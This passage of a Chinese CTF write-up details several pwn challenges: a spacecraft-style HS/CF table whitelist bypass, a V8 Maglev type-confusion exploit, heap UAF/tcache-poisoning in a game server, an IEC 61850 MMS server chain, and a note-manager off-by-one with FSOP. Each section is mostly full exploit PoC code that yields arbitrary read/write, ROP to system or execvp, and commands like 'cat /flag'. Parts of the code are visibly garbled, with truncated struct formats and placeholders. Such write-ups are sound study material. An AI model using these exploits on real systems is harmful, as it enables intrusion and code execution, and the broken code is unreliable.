HS表上传要过白名单：只看首个整文件PDU的表头名是否为 HK.CopyTable 。先发同长度封面（数据区全0，长度=真实长度-116），再发真内容覆盖同名文件，校验和按真内容。

3. 解题过程

1. 上传 hk_cf.tbl ，APID 0x04 加载 /cf/uplink/ 补64B，校验body为 \0\0 +表名补40B，激活body为表名补40B。
2. 封面方式上传 hs_mat_x.tbl ，加载、校验、激活 HS.MsgActs_Tbl 。
3. 封面方式上传 hs_amt_x.tbl ，加载、校验 HS.AppMon_Tbl ，暂不激活。
4. 发 C 帧carrier（APID 0x88 ，137B）等一个HK周期，让 0x18B3 载荷被搬成CF请求。
5. 激活 HS.AppMon_Tbl ，命中缺失应用后动作表发出 0x18B3 ，CF读 /cf/host/flag 并以EID25的 F 帧回传。
6. 收 F 帧： payload[0]&0x10 且 payload[4]==25 ，偏移 payload[7:<端口>] 、数据 payload[11:] ，排序拼接后匹配flag。动作表须先激活，AMT激活须晚于carrier搬运，错序则发空包不重试。

4. PoC

import re, socket, struct, sys, time

P = struct.pack

def ccsds(apid, code, body=b""):
 p = bytearray(P(">HHHBB", 0x1800 | apid, 0xC000, len(body) + 1, code, 0) + body)
 p[7] = 0xFF ^ p[0] ^ p[1] ^ p[2] ^ p[3] ^ p[4] ^ p[5] ^ p[6]
 return bytes(p)

def table_image(name, data):
 return P(">8I32s", 0x63464531, 8, 64, 0x42, 1, 0, 0, 0, b"Table Image") + P(">III40s", 0, 0, len(data), name.encode()) + data

def hk_entry(im, io, om, oo, n):
 return P(", im, io, om, oo, n)

def build():
 ent = [hk_entry(m, 12, 0x89C, 12 + 4 * i, 4) for i, m in enumerate((0x801, 0x805, 0x803, 0x800, 0x804))]
 ent += [hk_entry(0x1888, 8, 0x18B3, 8, 136), hk_entry(0x1888, 144, 0x18B3, 6, 1)]
 hk = table_image("HK.CopyTable", b"".join(ent).ljust(2048, b"\0"))
 mat = table_image("HS.MsgActs_Tbl", P(", 1, 0, ccsds(0x9C, 0, P(", 0x18B3))))
 amt = table_image("HS.AppMon_Tbl", P("<20sHHH", b"NO_SUCH_APP", 0, 1, 4))
 cf = P(", 0, 1, 1, 0, 23, b"/cf/host/flag", b"flag")
 return hk, mat, amt, ccsds(0x88, 0, cf + b"\x20")

def cksum(content):
 pad = content + b"\0" * (-len(content) % 4)
 return sum(int.from_bytes(pad[i:i + 4], "big") for i in range(0, len(pad), 4)) & 0xFFFFFFFF

S, buf, parts = None, b"", {}

def send(kind, payload):
 S.sendall(kind + len(payload).to_bytes(4, "big") + payload)

def cfdp(mode, txn, data):
 send(b"C", ccsds(4, 0, bytes([mode]) + len(data).to_bytes(2, "big") + b"\0" + bytes([23, txn, 25]) + data))

def put(name, content, txn):
 nm = P(">I", len(name)) + name.encode()
 cfdp(0x20, txn, b"\x07\0" + P(">I", len(content)) + nm + nm)
 for off in range(0, len(content), 480):
 cfdp(0x30, txn, P(">I", off) + content[off:off + 480])
 cfdp(0x20, txn, b"\x04\0" + P(">II", cksum(content), len(content)))

def step(path, table, code):
 body = (b"/cf/uplink/" + path.encode()).ljust(64, b"\0") if code == 2else ((b"\0\0"if code == 4elseb"") + table.encode().ljust(40, b"\0"))
 send(b"C", ccsds(4, code, body))
 time.sleep(0.8)

def run(path, blob, table, codes, txn, cover=False):
 if cover:
 put(path, table_image("HK.CopyTable", bytes(len(blob) - 116)), txn)
 put(path, blob, txn)
 for code in codes:
 step(path, table, code)

def frames(wait):
 global buf
 S.settimeout(0.5)
 end = time.time() + wait
 while time.time() < end:
 try:
 buf += S.recv(65536)
 except socket.timeout:
 pass
 while len(buf) >= 5and len(buf) >= 5 + (ln := int.from_bytes(buf[1:5], "big")):
 data, buf = buf[5:5 + ln], buf[5 + ln:]
 if data[0] & 0x10and data[4] == 25:
 parts[int.from_bytes(data[7:<端口>], "big")] = data[11:]
 m = re.search(rb"flag\{[^}]+\}", b"".join(parts[k] for k in sorted(parts)))
 if m:
 return m.group().decode()

hk, mat, amt, carrier = build()
S = socket.create_connection((sys.argv[1], int(sys.argv[2])), timeout=5)
run("hk_cf.tbl", hk, "HK.CopyTable", (2, 4, 5), 200)
run("hs_mat_x.tbl", mat, "HS.MsgActs_Tbl", (2, 4, 5), 201, True)
run("hs_amt_x.tbl", amt, "HS.AppMon_Tbl", (2, 4), 202, True)
send(b"C", carrier)
frames(2)
step("hs_amt_x.tbl", "HS.AppMon_Tbl", 5)
print("flag:", frames(30))

PWN5-Babyv8

1. 题目信息

Flag：flag{动态容器已脱敏}

2. 题目分析

d8 以非root运行， /flag 仅root可读， /readflag 为setuid-root。sandbox与指针压缩同开，JS对象用32位压缩指针，带tag值不是进程地址，故先取cage内读写，再泄PIE劫持控制流。

补丁0006改 TryMergeLoop 与 Phi::promote_post_loop_type ：loop phi首输入为 SmiConstant 时跳过重展开，回边与入口取交集后仍留Smi，而回边可带对象，出口被错标Smi，存储按Smi处理。

触发用 put(a,o,n) ： x 首轮为常量0、之后取对象o，末尾 a[0]=x 。整数热身让Maglev编译后再传对象， a[0]===o 成立而元素种类仍是 PACKED_SMI_ELEMENTS ，槽内存32位压缩指针。 String(a) 按Smi转成数字， addrOf 用 (n*2+1)>>>0 还原带tag指针； leaker[0]=42 先解COW。

对已晋升的Smi数组 a[0]=x 会生成 StoreFixedArrayElementNoWriteBarrier ，对象指针进老年代却不登记老→新引用，GC扫不到，新生代对象搬走后槽位悬空。

伪JSArray头16B：+0x00 map= 0x0100baa9 、+0x04 properties= 0x7e5 、+0x08 elements= base-8 、+0x0c length= 0x20 （Smi 16）。数据区起点为 addrOf(array)+23 ，按 delta=(stale-1)-dataStart 判断悬空地址是否在区内，8字节对齐两条 u2f 、错位三条跨槽。重占位后 bads[i][0] 即伪数组， fake[1] 改写宿主数组的elements与length；读写原语把 fake[1] 设为 (addr-7)>>>0 ，宿主 [0] 落在目标地址（元素区+8、tag位1，共减7）。

补丁0007给 FeedbackCell 加 cached_entrypoint （ +0x10 ）， CallJSDispatchEntry 直接取址 call ，绕开只读dispatch表。 JSFunction+0x18 存压缩FeedbackCell指针，未调用函数的入口仍是二进制地址，减 0x315a380 得PIE。

ROP布置在targetCell附近，偏移相对带tag的targetCell：

CallJSDispatchEntry 用rbx取入口， push rbx; pop rsp 后rsp=targetCell，ret取+0x00跳过缓存字段到+0x20，再ret进execvp；rdi已指向目标JSFunction，起始字节改成 /readflag 即作路径，rsi清零。改函数头必须最后做。

3. 解题过程

1. 热身 put ，probe确认 probe[0]===probeObject 且 String(probe) 不含 [object 。
2. 搬迁bads到老年代，再写入新对象并记压缩地址，一次搬迁使其悬空； moveOnce 以 addrOf 变化判定搬迁。
3. 大double数组按delta写伪JSArray头，跨槽补三条u2f。
4. 取 length===16 的伪数组，读FeedbackCell取 cached_entrypoint 减偏移得PIE。
5. 写ROP四项与对象头 /readflag ，最后写枢转gadget并 caller(1) 。

4. PoC

const view = newDataView(newArrayBuffer(8));
const u2f = (lo, hi) => (view.setUint32(0, lo >>> 0, true), view.setUint32(4, hi >>> 0, true), view.getFloat64(0, true));
const f2u = f => (view.setFloat64(0, f, true), [view.getUint32(0, true), view.getUint32(4, true)]);

function put(a, o, n) {
let x = 0;
for (let i = 0; i < n; i++) x = i === 0 ? 0 : o;
 a[0] = x;
return a;
}

const leaker = [0, 1];
leaker[0] = 42;
function addrOf(o) {
 put(leaker, o, 3);
const s = String(leaker);
return (Number(s.slice(0, s.indexOf(','))) * 2 + 1) >>> 0;
}

function garbage() { newArray(256).fill(1.1); }
function moveOnce(o) {
const before = addrOf(o);
for (let i = 0; i < 10000; i++) {
 garbage();
 if (addrOf(o) !== before) return;
 }
}

const MAP = 0x0100baa9, PROPS = 0x7e5, FAKE_SMI = 0x20;
const bads = [], stale = [];
for (let i = 0; i < 32; i++) {
const a = [0, 1];
 a[0] = 42;
 bads.push(a);
}
moveOnce(bads[0]);
for (let i = 0; i < 32; i++) {
const o = { i };
 put(bads[i], o, 3);
 stale.push(addrOf(o) - 1);
}
moveOnce(bads[0]);

const spray = newArray(2048).fill(1.1);
moveOnce(spray);
const base = addrOf(spray), d0 = base + 23, elem = (base - 8) >>> 0;
for (const s of stale) {
const off = (s - d0) >>> 0;
if (off >= 16368) continue;
const k = off >> 3;
if ((off & 7) === 0) {
 spray[k] = u2f(MAP, PROPS);
 spray[k + 1] = u2f(elem, FAKE_SMI);
 } else {
 spray[k] = u2f(0, MAP);
 spray[k + 1] = u2f(PROPS, elem);
 spray[k + 2] = u2f(FAKE_SMI, 0);
 }
}

let fake = null;
for (const a of bads) {
if (a[0]?.length === 16) { fake = a[0]; break; }
}

function read64(addr) {
 fake[1] = u2f((addr - 7) >>> 0, FAKE_SMI);
return f2u(spray[0]);
}
function write64(addr, lo, hi) {
 fake[1] = u2f((addr - 7) >>> 0, FAKE_SMI);
 spray[0] = u2f(lo, hi);
}

const target = newFunction('x', 'let y=x;' + 'y+=1;'.repeat(1000) + 'return y;');
function caller(x) { return target(x); }
for (let i = 0; i < 1e5; i++) caller(i);
const cold = x => x;

const tCell = read64(addrOf(target) + 0x17)[0];
const c = read64(read64(addrOf(cold) + 0x17)[0] + 0x0f);
const pie = c[0] + c[1] * 4294967296 - 0x315a380;

const q = v => [v >>> 0, (v / 4294967296) | 0];
write64(tCell + 0x18, 0, 0);
write64(tCell + 0x20, ...q(pie + 0x193a9cc));
write64(tCell + 0x28, ...q(pie + 0x34be450));
write64(tCell, ...q(pie + 0x18bb132));
write64(addrOf(target) - 1, 0x6165722f, 0x616c6664);
write64(addrOf(target) + 7, 0x67, 0);
write64(tCell + 0x0f, ...q(pie + 0x27e9e69));
caller(1);

PWN6-bad_puppet

1. 题目信息

Flag：flag{动态容器已脱敏}

2. 题目分析

塞尔达主题的C++多线程网络游戏，纯文本协议一行一条命令，进程内6个线程（命令、战斗、背包、地图、商店、交易）共享同一堆。物品按 0x170 字节chunk分配（可用 0x160 ），落在tcache索引21。相关命令： shop buy 、 inv equip|unequip|drop|sort|list 、 mw pickup|show|whisper 。 mw show 按装备槽打印 description_addr/head/key ， mw whisper 把十六进制写进描述缓冲区，上限127B且只接受 RingItem ，整条链以戒指为载体。

漏洞一： inv drop 先 clone_item 、再 destroy_item 、最后 erase_inventory ，但装备表 g_equipment 里的指针不会摘除。丢弃已装备物品后原chunk回到tcache，背包里没有它，装备表仍指向它； mw show / mw whisper 按下标取指针，直接退化成读/写已释放chunk。释放后头部为 +0x00 next（safe-linking，写入值 (chunk>>12)^next ）、 +0x08 key、 +0x10 原物品字段。

漏洞二：交易线程不立即执行 equip / unequip ，而是排队；处理时按slot回查当前占用者克隆，释放却用事件入队时捕获的旧指针，队列积压时克隆源与释放目标错开，一次多释放一个块，把tcache计数从1抬到2。命令线程持有全局表、交易线程异步克隆，两者叠加才让清理范围小于引用范围、释放次数多于克隆次数。

关键偏移：

远程堆落在 0x55... 主arena， malloc_state 嵌在libc数据段， next 指向libc内bin数组，减去 0x204ac0 才得基址；本地用附件运行库启动时物品块常落在 0x7f... 的thread arena，同一偏移读出的不是main_arena，须先填满索引21让第8个块进unsorted bin取arena地址。

3. 解题过程

1. 经济漏洞： shop buy 3 0x100000001 ，单价按uint32截断为1只收64卢比，发货按uint64到账42亿炸弹。
2. map teleport castle 、 battle 、 use item 1 32 秒Boss， mw pickup 0 捡戒指， inv equip 2 装备。
3. mw show 取 description_addr 即戒指chunk地址A； inv drop 2 后装备槽仍指向A。
4. 再 mw show 读A处tcache头：next为 (A>>12)^0 ，key指向tcache结构，确认它在索引21表头；堆基址 P=A&~0xFFFFFF 。
5. inv equip 0 与 inv unequip 0 交替400次灌满交易队列，再 inv drop 0 、 inv drop 1 ，计数变2。
6. 投毒：取T=A+0x80，写 next=(A>>12)^T 、 payload[120:<端口>]=0x101 ，两个装备槽各写一遍； shop buy 0 2 加 inv sort ，第二次分配落到T。
7. 任意读：把T换成 P+0xcf0 即 g_puppet 表，克隆数据全填待读地址X， inv list 打印的十进制即 *(X) ；读 P+0x8a0 得main_arena， libc=leak-0x204ac0 ，再读 environ 。
8. 栈上ROP：目标 environ-0x278 ，依次写 pop rdi; ret 、 /bin/sh 、 system ， quit 使 command_loop 返回触发。

4. PoC

import re, socket, struct, time

HOST, PORT = "<靶机地址>", 9999

def p64(x):
 return struct.pack(", x)

class Game:
 def __init__(self, host, port):
 self.s = socket.create_connection((host, port), timeout=8)
 self.s.settimeout(0.4)

 def read(self, wait=0.8):
 end, out = time.time() + wait, b""
 while time.time() < end:
 try:
 chunk = self.s.recv(65536)
 ifnot chunk:
 break
 out += chunk
 except socket.timeout:
 if out:
 break
 return out.decode("latin-1", "replace")

 def cmd(self, line, wait=0.8):
 self.s.sendall((line + "\n").encode())
 return self.read(wait)

 def show(self, slot):
 text = self.cmd("mw show")
 line = [x for x in text.splitlines() if x.strip().startswith("[%d]" % slot)][0]
 return [int(v, 16) for v in re.findall(r"0x[0-9a-f]+", line)]

 def whisper(self, slot, data):
 self.cmd("mw whisper %d %s" % (slot, data.hex()))

def poison(g, A, target):
 payload = (p64((A >> 12) ^ target) + b"\0" * 0x70 + p64(0x101))[:<端口>]
 g.whisper(0, payload)
 g.whisper(1, payload)

def alloc2(g):
 g.cmd("shop buy 0 2", 1.2)
 g.cmd("inv sort")

def read64(g, A, P, addr):
 # 每轮读前重做dup与投毒，戒指仍留在索引21
 poison(g, A, P + 0xcf0)
 g.whisper(0, p64(addr) * 15)
 g.whisper(1, p64(addr) * 15)
 alloc2(g)
 out = g.cmd("inv list")
 return int(re.findall(r"#(\d+)", out)[0])

def main(host, port):
 g = Game(host, port)
 g.cmd("shop buy 3 0x100000001", 1.5)
 g.cmd("map teleport castle")
 g.cmd("battle", 3)
 g.cmd("use item 1 32")
 g.cmd("mw pickup 0")
 g.cmd("inv equip 2")
 A = g.show(2)[0]
 g.cmd("inv drop 2")
 g.show(2)
 P = A & ~0xFFFFFF

 for _ in range(400):
 g.cmd("inv equip 0", 0.02)
 g.cmd("inv unequip 0", 0.02)
 g.cmd("inv drop 0")
 g.cmd("inv drop 1")

 poison(g, A, A + 0x80)
 alloc2(g)
 arena = read64(g, A, P, P + 0x8a0)
 libc = arena - 0x204ac0
 stack = read64(g, A, P, libc + 0x20bd58) - 0x278

 poison(g, A, stack)
 g.whisper(0, p64(libc + 0x10c08d) + p64(libc + 0x1cc42f) + p64(libc + 0x58750))
 alloc2(g)
 g.cmd("quit")
 print(g.cmd("cat /flag", 2))

main(HOST, PORT)

PWN7-Blackout

1. 题目信息

Flag：flag{动态容器已脱敏}

2. 题目分析

run.sh用setpriv把两个守护进程降权拉起，各套while true循环，退出2秒后重启。server_sg5000（ied）监听102， +net_bind_service 能力跨execve保留，派生子进程仍可绑低端口；sg_masterlink（oper）按mlclient.conf连127.0.0.1:<端口>，poll_ms=4000，日志/srv/mlc/data/ml.log记录PIE、libc与句柄。 /flag 为root:oper 0440，ied读不到，必须借oper进程。

利用主线：装置侧UAF加FileRead下溢取任意读写，改IsoConnection回调拿ied shell，抢占102伪装服务端，再改reportHandler读flag。

• 数据集UAF：删除前用strlen比较数据集名与RCB的DatSet， TL0/LLN0$assetds 与 LLN0$assetds 长度不等即漏判，DataSet被free而RCB指针仍在；写GI触发总召，报告把释放块当DataReference带出。
• FileRead下溢：InitiateRequest把maxPduSize协商成16，FileRead算分片长度得负数，按无符号大数用，写点越过发送窗口落到CotpConnection；伪造ByteBuffer后 buffer=entry-0x13 、 maxSize=0x100000 ，写入落在悬空entry。
• 主站侧：伪服务端回 local-detail-calling=0 ，sg_masterlink算出 maxFileChunkSize=0-0x14=0xFFFFFFEC ，作为fread长度被当无符号，整个报告读进65100字节缓冲区，溢出持久化响应ByteBuffer的buffer指针。

3. 解题过程

1. server_sg5000动态链接libsgcomm.so.2且不做认证，sg_masterlink静态链接同一协议栈；装置文件区/srv/filestore对ied可写，主站区/srv/mlc/data不互通。
2. 向 TL5/TSNC$SP$TsynReq$ReqStr 写值，TsynReq处理函数把它当同步请求指针解引用，空指针退出；窗口内循环connect抢首条关联，IsoConnection、CotpConnection与收发缓冲按固定顺序切出，UAF泄漏恰5字节才算成功。
3. 建7个31字节名字的变量列表占满tcache，绑定 LLN0$assetds 并配RCB的DatSet/OptFlds/TrgOps/RptEna，删数据集后写GI取泄漏，还原 V=(leak<<12)|0x3C0 、 B=V-0x248E0 、 X=V-0x34810 、 entry=V+0xE70 。
4. 上传0x13F60的rc.bin塑造CotpConnection，发Initiate(16)+FileRead越界，再写entry（variableName=目标）并写GI，DataReference即目标处C字符串；读X+0x50得msgRcvdHandler， libsg=值-0x45A10 ，读 libsg+0xCA150 取free。
5. free减候选偏移回读4字节为 \x7fELF 才确认libc（2.35 0xA53A0/0x50D70，2.39 0xADE30/0x58750）。
6. FileRead r1.bin重写CotpConnection（size=77000、payload=X+0x08），再读r2.bin触发COTP分片，偏移65512/65520/65528覆盖X+0x50/0x58/0x60为system/system/B+0x2100，定时回调执行 pkill -9 -f '[s]erver_sg5000' 并拉起载荷。
7. 载荷以ied身份bind <靶机地址>，等重启后的sg_masterlink连接，读回ml.log取最新H、PIE与libc。
8. FileRead 65112字节把response->buffer改成H+0x78，读256字节载荷覆盖H+0x88/H+0x90，发InformationReport触发reportHandler执行 cat /flag > /srv/filestore/out.txt; chmod 666 ；重启真实服务后读out.txt取flag。

4. PoC

p64 = lambda x: struct.pack(", x)
## 帧构造函数（associate/define/write/obtain_file/file_read）按BER拼装，略

def prep(host, port): # 打崩->抢首关联->UAF泄漏
 for _ in range(6):
 crash(host, port); c = Mms(host, port)
 body = tlv(0x30, tlv(0xA0, tlv(0x1A, b"TL4") + tlv(0x1A, b"GGIOM")))
 for i in range(7): # 短名字占用tcache
 c.define_raw(b"F%02d" % i + b"A" * 29, body)
 c.define_dataset(b"LLN0$assetds", ENTRY_BODY)
 c.write("LLN0$RP$urcLd0Ev$DatSet", b"TL0/LLN0$assetds")
 c.write("LLN0$RP$urcLd0Ev$RptEna", b"\x01")
 c.delete_dataset(b"TL0/LLN0$assetds") # strlen漏判，引用计数为0
 c.write("LLN0$RP$urcLd0Ev$GI", b"\x01")
 leak = c.recv()
 if len(leak) == 5:
 V = (int.from_bytes(leak, "little") << 12) | 0x3C0
 return c, {"B": V - 0x248E0, "X": V - 0x34810, "entry": V + 0xE70}
 c.close()

def ar(c, lay, target, rc): # rc.bin塑造CotpConnection
 c.upload("/rc.bin", rc)
 c.send(initiate_frame(16)); c.file_read("/rc.bin", len(rc))
 c.send(patch_entry(0x38, target)) # variableName=target
 c.write("LLN0$RP$urcLd0Ev$GI", b"\x01"); return c.recv()

def libs(c, lay, rc):
 libsg = u64(ar(c, lay, lay["X"] + 0x50, rc).ljust(8, b"\0")) - 0x45A10
 free = u64(ar(c, lay, libsg + 0xCA150, rc).ljust(8, b"\0"))
 for f, s in ((0xA53A0, 0x50D70), (0xADE30, 0x58750)):
 if ar(c, lay, free - f, rc)[:4] == b"\x7fELF":
 return free - f + s

def rce(c, lay, system): # 命令串由rc.bin放在B+0x2100
 B, X = lay["B"], lay["X"]
 r1 = bytearray(0x13F60); r1[0x08:0x10] = p64(X + 0x08)
 r1[0x10:0x18] = p64(77000); r1[0x18:0x20] = p64(B + 0x2000)
 r2 = bytearray(0x11000) # 分片65512/65520/65528落X+0x50/58/60
 for n, b in (("/r1.bin", r1), ("/r2.bin", r2)):
 c.upload(n, bytes(b)); c.file_read(n, len(b))

def inner(system, cur): # 第二阶段载荷，以ied身份运行
 srv = socket.socket()
 srv.bind(("<靶机地址>", 102)); srv.listen(1); cli = srv.accept()[0]
 cli.sendall(initiate_response(local_calling=0)) # 0xFFFFFFEC
 H = handle_from_log(cli) # ml.log取最新句柄
 over = b"\0" * (65088 - cur) + p64(0) + p64(0x21) + p64(H + 0x78)
 pay = p64(system) + p64(H + 0x148) + b"\0" * (0xC0 - 0x10) + CMD
 serve(cli, "/overflow.bin", over); serve(cli, "/payload.bin", pay)
 cli.sendall(information_report()) # reportHandler->system

载荷即inner源码。

PWN8-drywell

1. 题目信息

Flag：flag{动态容器已脱敏}

2. 题目分析

12格note管理器， Note{char *data; unsigned long len, cap;} ， notes=calloc(12,0x18) 得0x130块，落在heap+0x10，故 notes[i]=heap+0x10+0x18*i ，改 notes[7].data 即改 T=heap+0x10+0x18*7 。class请求0x4f8/0x8f8/0xff8对应chunk 0x500/0x900/0x1000，全越过tcache与smallbin上限，只能走unsorted/largebin；view仅8次，free清空字段，无UAF。

漏洞在edit末尾的一字节越界： n->data[n->cap] = ((len>>4 ^ poison_key) & 0xe) << 4 | (n->data[n->cap] & 0x0f) 。

data[cap] 正是下一块size的最低位，只改高半字节，低4位（PREV_INUSE）与高7字节保留，因此0x500可变成0x5a0或0xb00这类只放大不改归属的值。可写的半字节由len决定且受 len<=cap 限制，所以要先探出 poison_key 低4位；key来自/key，socat fork的各连接共享，一次探测对整实例有效。

利用链：0xa0余块压note2泄漏libc与堆→合并出0x10a0让note6覆盖7/8/9→unsafe unlink改notes[7].data为T-0x18→写穿ledger改note8.data为_IO_list_all→note9/10/11放伪FILE与vtable→quit触发flush_all走setcontext执行ORW。

3. 解题过程

1. 探key：0..14步长2枚举，每次3次add(0)、一次 edit(0, b'Q'*len) 、一次 free(1) ，连接不断即命中。
2. 双泄漏：5次add(0)后，把note2的下一块size与再下一块PREV_INUSE写成0x21（0x98、0xb8），note1的size拉到0x5a0，free(1)再add(0)切出0xa0余块压在note2；free(3)进unsorted，两次view得 libc=leak-0x212ac8 、 heap=leak-0x1030 。
3. 前向合并：再8次add(0)填满3、5..11；note7造自链空闲块（fd=bk=n7+0x90、size=0xb01），note9写prev_size=0xb00、size=0x20，note5拉到0x5a0，free(6)合并出0x10a0，add(2)后新note6覆盖7/8/9。
4. unsafe unlink：note6造前驱块（size=0x4f1、fd=T-0x18、bk=T-0x10），note8写prev_size=0x4f0、size=0x500，note9的size补回0x501，free(8)通过检查并把notes[7].data改成T-0x18。
5. FSOP：note11放伪vtable（+0x68=setcontext+0x2d，+0x100放路径），note10放伪_IO_wide_data并铺三段ORW链（+0xe0指向vtable），note9放伪FILE：_flags=0xfbad8000、_wide_data=n10、_freeres_buf=pop rsp、_mode=1、vtable=_IO_wfile_jumps、+0x1c0=0x1f80。
6. 改ledger：notes[7].data已是T-0x18， edit 7 写0x90字节即覆盖notes[6..11]，把note8.data改成_IO_list_all，再 edit 8 写伪FILE地址。
7. 触发：quit进入exit的flush_all，伪FILE经_IO_wfile_jumps走宽字符overflow， _wide_vtable->__doallocate 跳setcontext，从n10链首pivot执行openat→read(3)→write(1)→_exit。

4. PoC

def L(n):
 return n + ((k & 0xe) << 4)

def S(n, hi):
 return n + (((k ^ hi) & 0xe) << 4)

def put(b, off, v):
 b[off:off + 8] = p64(v)

def probe(io):
 for k in range(0, 15, 2):
 t = io.clone()
 try:
 for _ in range(3):
 t.add(0)
 t.edit(0, b'Q' * (0x100 + ((k & 0xe) << 4))); t.free(1)
 return k
 except EOFError:
 pass

k = probe(io)
for _ in range(5):
 io.add(0)
b = bytearray(L(0x200)); put(b, 0x98, 0x21); put(b, 0xb8, 0x21)
io.edit(2, b)
io.edit(0, b'A' * S(0x100, 0xa))
io.free(1); io.add(0)
io.free(3)
libc = u64(io.view(2, 0)) - 0x212ac8
heap = u64(io.view(2, 8)) - 0x1030

for _ in range(8):
 io.add(0)
n6 = heap + 0x2250
n7 = n6 + 0x500
n9, n10, n11 = n6 + 0xf00, n6 + 0x1400, n6 + 0x1900
fake = n7 + 0x90
b = bytearray(L(0x200)); put(b, 0x98, 0xb01)
put(b, 0xa0, fake); put(b, 0xa8, fake)
io.edit(7, b)
b = bytearray(L(0x200)); put(b, 0x190, 0xb00); put(b, 0x198, 0x20)
io.edit(9, b)
io.edit(5, b'A' * S(0x100, 0xa))
io.free(6); io.add(2)

T = heap + 0x10 + 0x18 * 7
b = bytearray(S(0xf00, 0xa))
put(b, 0x508, 0x4f1); put(b, 0x510, T - 0x18); put(b, 0x518, T - 0x10)
put(b, 0x9f0, 0x4f0); put(b, 0x9f8, 0x500); put(b, 0xef8, 0x501)
io.edit(6, b)
io.free(8)

pop_rsp, pop_rdi, pop_rsi, pop_rbp = libc + 0x3ca45, libc + 0x11b9fa, libc + 0x11ccbb, libc + 0x2aafc
pop_rdx_leave = libc + 0x9fead
vt = bytearray(L(0x300)); put(vt, 0x68, libc + 0x4bead); vt[0x100:0x105] = b'/flag'
io.edit(11, vt)

w = bytearray(L(0x400)); chain, f1, f2, f3 = 0x100, 0x188, 0x248, 0x308
put(w, 0, n10 + chain); put(w, 0x18, 0); put(w, 0x20, 1); put(w, 0x30, 0)
put(w, 0xe0, n11)

def wr(base, vals):
 for i, v in enumerate(vals):
 put(w, base + 8 * i, v)

wr(chain, [pop_rdi, -100, pop_rsi, n11 + 0x100, pop_rbp, n10 + f1, pop_rdx_leave, 0])
wr(f1, [0, libc + 0x127a90, pop_rdi, 3, pop_rsi, n11 + 0x180, pop_rbp, n10 + f2, pop_rdx_leave, 0x100])
wr(f2, [0, libc + 0x128150, pop_rdi, 1, pop_rsi, n11 + 0x180, pop_rbp, n10 + f3, pop_rdx_leave, 0x100])
wr(f3, [0, libc + 0x128c10, libc + 0xf7180])
io.edit(10, w)

f = bytearray(L(0x300))
for off, v in ((0, 0xfbad8000), (0x68, 0), (0x88, n11 + 0x280), (0xa0, n10),
 (0xa8, pop_rsp), (0xc0, 1), (0xd8, libc + 0x211228),
 (0xe0, n9 + 0x200), (0x1c0, 0x1f80)):
 put(f, off, v)
io.edit(9, f)

addrs = (n6, T - 0x18, libc + 0x213480, n9, n10, n11)
a = b''.join(p64(x) + p64(0) + p64(0xff8if i == 6else0x4f8) for i, x in enumerate(addrs, 6))
io.edit(7, a)
io.edit(8, p64(n9))
io.send(b'quit\n')
print(io.recvall(timeout=3))